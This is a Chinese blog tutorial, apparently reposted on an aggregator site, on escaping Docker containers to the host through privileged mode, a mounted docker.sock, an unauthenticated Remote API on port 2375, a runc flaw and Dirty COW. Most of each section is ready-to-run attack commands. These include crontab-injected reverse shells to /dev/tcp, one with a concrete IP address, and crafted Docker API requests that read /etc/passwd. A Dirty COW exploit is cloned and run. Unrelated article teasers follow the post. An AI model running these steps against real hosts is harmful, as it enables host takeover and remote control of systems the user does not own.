Docker逃逸

news2025/2/28 17:06:26

文章目录

  • 原理
  • 环境搭建
  • Docker 环境判断
  • Docker 容器逃逸
    • 特权模式逃逸
      • 如何判断是否为特权模式
      • 逃逸
    • docker.sock挂载逃逸
      • 逃逸
    • Remote API未授权访问
      • 未授权访问
      • 逃逸
    • 容器服务缺陷逃逸
      • 影响版本
      • 环境搭建
      • 逃逸
    • 脏牛漏洞逃逸
  • 参考

原理

docker其实就是一个linux下的进程,它通过NameSpace 等命令实现了内核级别环境隔离(文件、网络、资源),所以相比虚拟机而言,Docker 的隔离性要弱上不少 ,这就导致可以通过很多方法来进行docker逃逸。

环境搭建

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o docker.sh && bash docker.sh

Docker 环境判断

1、查找.dockerenv文件

docker下默认存在dockerenv文件,而非docker环境中则没有

在这里插入图片描述

2、查询cgroup进程

cat /proc/1/cgroup

在这里插入图片描述

3、查看容器环境变量

 cat /proc/1/environ

在这里插入图片描述

Docker 容器逃逸

特权模式逃逸

以特权模式启动时,docker容器内拥有宿主机文件读写权限,可以通过写ssh密钥、计划任务等方式达到逃逸。

如何判断是否为特权模式

在suid提权中SUID设置的程序出现漏洞就非常容易被利用,所以 Linux 引入了 Capability 机制以此来实现更加细致的权限控制,从而增加系统的安全性

当容器为特权模式时,将添加如下功能:使用指南 - 特权容器

在这里插入图片描述

但这里并不能说拥有以上某种功能就是特权容器,因为特权容器还需满足:

  • 必须缺少AppArmor配置文件,否则将允许mount syscall
  • 能够“看到”很多敏感的dev设备

上述两个条件目前还不知道如何获取,所以重点看下特权容器中获取的 Cap 集合

root@227b7e10b9a6:/# cat /proc/1/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000001fffffffff
CapEff: 0000001fffffffff
CapBnd: 0000001fffffffff
CapAmb: 0000000000000000

CapEff 主要是检查线程的执行权限,所以重点看下利用 capsh --decode=0000003fffffffff 进行解码,检索默认没有添加的 NET_ADMIN,发现存在

在这里插入图片描述

而非特权容器的 Cap 集合值并进行解码,发现并不存在 NET_ADMIN

因此当执行 cat /proc/1/status | grep Cap 查询对应出来的值为 0000003fffffffff 那么就有可能是特权容器,可尝试逃逸

逃逸

1、首先以特权模式运行一个docker容器

docker run -it --privileged 镜像id /bin/bash

2、查看磁盘文件

fdisk -l 

在这里插入图片描述

3、新建一个目录,将/dev/vda1挂载至新建的目录

mkdir /test
mount /dev/vda1 /test

4、写入计划任务到宿主机

echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root

5、成功反弹shell

在这里插入图片描述

docker.sock挂载逃逸

Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon(docker守护进程)扮演,二者之间通信方式有以下3种:

1、unix:///var/run/docker.sock
2、tcp://host:port
3、fd://socketfd

其中使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。
本质上而言,能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统。
因此,当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。

逃逸

1、运行一个挂载/var/run/的容器

docker run -it -v /var/run/:/host/var/run/ 5d2df19066ac /bin/bash

2、寻找下挂载的sock文件

find / -name docker.sock

在这里插入图片描述

3、在容器内安装client,即docker

apt-get update
apt-get install docker.io

4、查看宿主机docker信息

docker -H unix:///host/var/run/docker.sock info

5、运行一个新容器并挂载宿主机根路径

docker -H unix:///host/var/run/docker.sock run -v /:/test -it ubuntu:14.04 /bin/bash 

在这里插入图片描述

6、写入计划任务到宿主机

echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root

Remote API未授权访问

docker swarm中默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。

未授权访问

当使用官方推荐启动方式时

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

在没有其他网络访问限制的主机上使用,则会在公网暴漏端口。

在这里插入图片描述

1、此时访问/containers/json,便会得到所有容器id字段

在这里插入图片描述

2、创建一个 exec

POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188

{
  "AttachStdin": true,
  "AttachStdout": true,
  "AttachStderr": true,
  "Cmd": ["cat", "/etc/passwd"],
  "DetachKeys": "ctrl-p,ctrl-q",
  "Privileged": true,
  "Tty": true
}

发包后返回exec的id参数

在这里插入图片描述

3、执行exec中的命令,成功读取passwd文件

POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json

{
 "Detach": false,
 "Tty": false
}

在这里插入图片描述

这种方式只是获取到了docker主机的命令执行权限,但是还无法逃逸到宿主机。因此还是需要写公钥或者计时任务进行逃逸

逃逸

1、在容器内安装docker

apt-get update
apt-get install docker.io

2、查看宿主机docker镜像信息

docker -H tcp://ip:2375 images

在这里插入图片描述

3、启动一个容器并将宿主机根目录挂在到容器的test目录

docker -H tcp://ip:2375 run -it -v /:/test 5d2df19066ac /bin/bash

4、计时任务反弹shell

echo '* * * * * bash -i >& /dev/tcp/101.200.208.44/4000 0>&1' >> /test/var/spool/cron/root

容器服务缺陷逃逸

runc是一个底层服务工具,runC 管理容器的创建,运行,销毁等,docker部分版本服务运行时底层其实在运行着runc服务,攻击者可以通过特定的容器镜像或者exec操作重写宿主机上的runc 二进制文件,并在宿主机上以root身份执行命令。

影响版本

docker version <=18.09.2

RunC version <=1.0-rc6

环境搭建

由于对版本有限制,所以用之前docker中的ubuntu环境搭建符合漏洞版本的docker,参考Ubuntu安装指定版本的docker - 朝花夕拾 - SegmentFault 思否

1、安装 apt 依赖包,用于通过HTTPS来获取仓库

apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common

2、添加 Docker 的官方 GPG 密钥

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -

3、设置稳定版仓库(添加到/etc/apt/sources.list中)

add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

4、更新apt-get

apt-get update

5、查询docker-ce版本

apt-cache policy docker-ce

6、安装指定版本docker

apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

逃逸

1、编译payload中反弹shell地址

在这里插入图片描述

2、编译生成payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

3、编译好后传入docker容器中

docker cp main 1fa6a736e332:/home
docker exec -it 1fa6a736e332 /bin/bash
cd /home/
chmod 777 main

4.运行main程序成功反弹shell

./main

脏牛漏洞逃逸

Dirty Cow是Linux内核中的提权漏洞,源于Linux内核的内存子系统在处理写入拷贝时存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

docker和宿主机共享内核,因此就可利用该漏洞进行逃逸

git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
docker-compose run dirtycow /bin/bash

cd /dirtycow-vdso/
make
./0xdeadbeef ip:port // 反弹shell

参考

Docker逃逸小结第一版 更新 - 先知社区 (aliyun.com)

初识Docker逃逸 - FreeBuf网络安全行业门户

Docker 容器逃逸入门 – 天下大木头 (wjlshare.com)

Docker Remote API未授权访问+docker逃逸导致Getshell漏洞复现 - 小阿辉谈安全 - 博客园 (cnblogs.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/347120.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

RV1126笔记二十八:RKNN上部署OCR测试

若该文为原创文章,转载请注明原文出处。 本篇文章只是记录下测试OCR的效果,想了解全过程,参考: 【工程部署】手把手教你在RKNN上部署OCR服务(上)_opencv rknn_ocr_三叔家的猫的博客-CSDN博客 【工程部署】手把手教你在RKNN上部署OCR服务(下)_三叔家的猫的博客-CSDN博…

ROS2中使用gazebo仿真时找不到libgazebo_ros_openni_kinect.so

因为ros2的gazebo_ros_pkgs中&#xff0c;已经将该插件移除&#xff0c;或者说将该插件的功能合并到libgazebo_ros_camera.so中&#xff0c; 这里是作者的说明。 合并后&#xff0c;深度相机的用法参考这里。 主要是将type改成depth。还有其他类型的相机&#xff0c;可以参考具…

如何优雅的实现回调函数?

本篇文章又是一期优雅的代码编程介绍———回调函数。 传统的nodejs编程都是这样的 const fs require(fs) fs.readFile(test.txt,utf8, function(err, dataStr){if(err){} }) 嵌套层级如果多了就成回调地狱了。如果我们将这种风格的代码转换成这样呢&#xff1f; const fs …

Word论文排版(1)样式设定

前言&#xff1a;现在很多学校都有 LaTeX 模板了&#xff0c;但是也有很多渣渣学校/学院没提供&#xff0c;而且要求必须提供 Word 版本的大论文&#xff01;那就只能从 Word 下手了。 Requirements Windows11、Word2016 样式设定 为什么要设置&#xff1a;和 LaTeX 一样&am…

MobaXterm详细使用教程

这一篇MobaXterm详细使用教程&#xff0c;我们来介绍一下如何设置并用MobaXterm来连接Linux服务器。MobaXterm 又名 MobaXVT&#xff0c;是一款增强型终端、X 服务器和 Unix 命令集(GNU/ Cygwin)工具箱。MobaXterm 可以开启多个终端视窗&#xff0c;以最新的 X 服务器为基础的 …

【笔试强训】Day_01

目录 一、选择题 1、 2、 3、 4、 5、 6、 7、 8、 9、 10、 二、编程题 1、组队竞赛 2、删除公共字符 一、选择题 1、 以下for循环的执行次数是&#xff08;&#xff09; for(int x 0, y 0; (y 123) && (x < 4); x); A 、是无限循环 B 、循环次…

从零开始学C

以下是 该如何学习C语言的【思维导图】以及部分重点知识点的【博客链接】。其实C语言并不难&#xff0c;难的是没有人去教&#xff0c;没有耐心去学。不知道从哪下手学习&#xff0c;我将C的知识点做成一个思维导图&#xff0c;以供迷茫的小白参考&#xff0c;哪里不会&#xf…

快速且有效减小代码包的方法

前言当我们在发布一些APP或者小程序等比较小的程序时候&#xff0c;常常会对其主包大小进行一定的规定&#xff0c;若超过推荐的主包大小则性能会被大大影响&#xff0c;或者再严重一点就不给你过审。如微信小程序中也对主包有一定的大小要求。对此一些比较复杂的小程序就需要考…

【机器学习】P1 Cost Function

Cost Functione.g.e.g.e.g. 假设你想要卖一个房子&#xff0c;希望可以用人工智能来算出能卖多少钱。机器学习可以根据提供的数据集合构建出很多模型&#xff0c;但是到底哪种模型最好的拟合你的数据&#xff1f;或者说&#xff0c;哪种模型可以最准确的算出你的卖多少钱&#…

TikTok曝高危漏洞允许一键式帐户劫持,回应称已修复

据The Verge 8月31日消息&#xff0c; TikTok安卓版存在一个高危漏洞&#xff0c;攻击者可能借此实现一键式账户劫持&#xff0c;影响数亿用户 。 微软365防御研究小组在一篇博文中披露了该漏洞的细节&#xff0c; 影响范围为23.7.3之前的安卓版本 。在微软向TikTok报告后&…

如何用 JavaScript 编写你的第一个单元测试

前言 测试代码是使代码安全的第一步。做到这一点的最好方法之一是使用单元测试&#xff0c;确保应用程序中的每个小功能都能发挥其应有的作用–特别是当应用程序处于边缘情况&#xff0c;比如无效的输入&#xff0c;或有潜在危害的输入。 为什么要单元测试 说到单元测试&…

测试开发之Django实战示例 第十章 创建在线教育平台

第十章 创建在线教育平台在上一章&#xff0c;我们为电商网站项目添加了国际化功能&#xff0c;还创建了优惠码和商品推荐系统。在本章&#xff0c;会建立一个新的项目&#xff1a;一个在线教育平台&#xff0c;并创内容管理系统CMS&#xff08;Content Management System&…

OSI模型详解

今天&#xff0c;我们详解OSI&#xff08;Open System Inter-connection Reference Model&#xff09;模型&#xff0c;来看看工业物联网的网络互联和数据互通。 OSI模型 1984年&#xff0c;国际标准化组织&#xff08;International Organization for Standardization&#…

C控制语句(continue,break)

一.continue 3种循环都可以使用continue语句。执行到该语句时&#xff0c;会跳过本次迭代的剩余部分&#xff0c;并开始下一轮迭代 for(count0;count<10;count) { ch getchar(); If(ch \n) continue; putchar(ch&#xff09;&#xff1b; } 这条代码当中当ch等于\…

MySQL CAST()函数用法

一、语法 expr&#xff1a;源数据&#xff0c;如字符串’China’。type&#xff1a;目标数据类型&#xff0c;例如CHAR。 cast(expr AS type)二、命令说明 将任何类型的值转换为具有指定类型的值。 CAST()函数通常用于返回具有指定类型的值&#xff0c;以便在WHERE&#xff…

Vue3+mitt.js配置logger

前言 Vue项目中的组件通信方式&#xff0c;绝大多数的情况是可以被Vuex等方案代替的&#xff0c;但有一些特殊情况却非常适合使用EventBus&#xff0c;举个简单的例子&#xff1a;有A、B两个组件&#xff0c;用户在A上进行操作后&#xff0c;需要B执行某些逻辑。 由于Vue3中删…

TiDB在转转公司的发展历程

1 前言 2 运维痛点 3 解决痛点 3.1 元数据管理 3.2 机器资源管理 3.3 全面升级 3.4 告警改造 4 实现自动化 4.1 需求工单化 4.2 操作平台化 4.3 其他辅助功能 5 写在最后 1 前言 转转是PingCAP最早的一批用户之一&#xff0c;见证了TiDB的发展&#xff0c;自身也沉淀…

计讯物联高精度定位GNSS接收机TN521在水库大坝变形监测的应用解析

由于水库大坝在地质环境恶劣和气候条件复杂的条件下&#xff0c;水库坝体的稳定性会受到严重考验。为了保证水库大坝的安全运营&#xff0c;GNSS作为一种实现远程自动化测量的高精度的变形监测技术&#xff0c;具有高精度、高速度、全天候、连续实时、自动化等优势&#xff0c;…

WMS系统推荐,如何选到适合企业的仓库管理系统

市场上有很多WMS系统&#xff0c;但是现在很多仓库管理系统都在使用WMS系统。那么在选择WMS系统时应该考虑什么呢&#xff1f;明确业务发展特征&#xff0c;准确表达能力目标许多物流企业在选择物流管理系统时&#xff0c;往往会被物流管理系统的整体系统所迷惑&#xff0c;在功…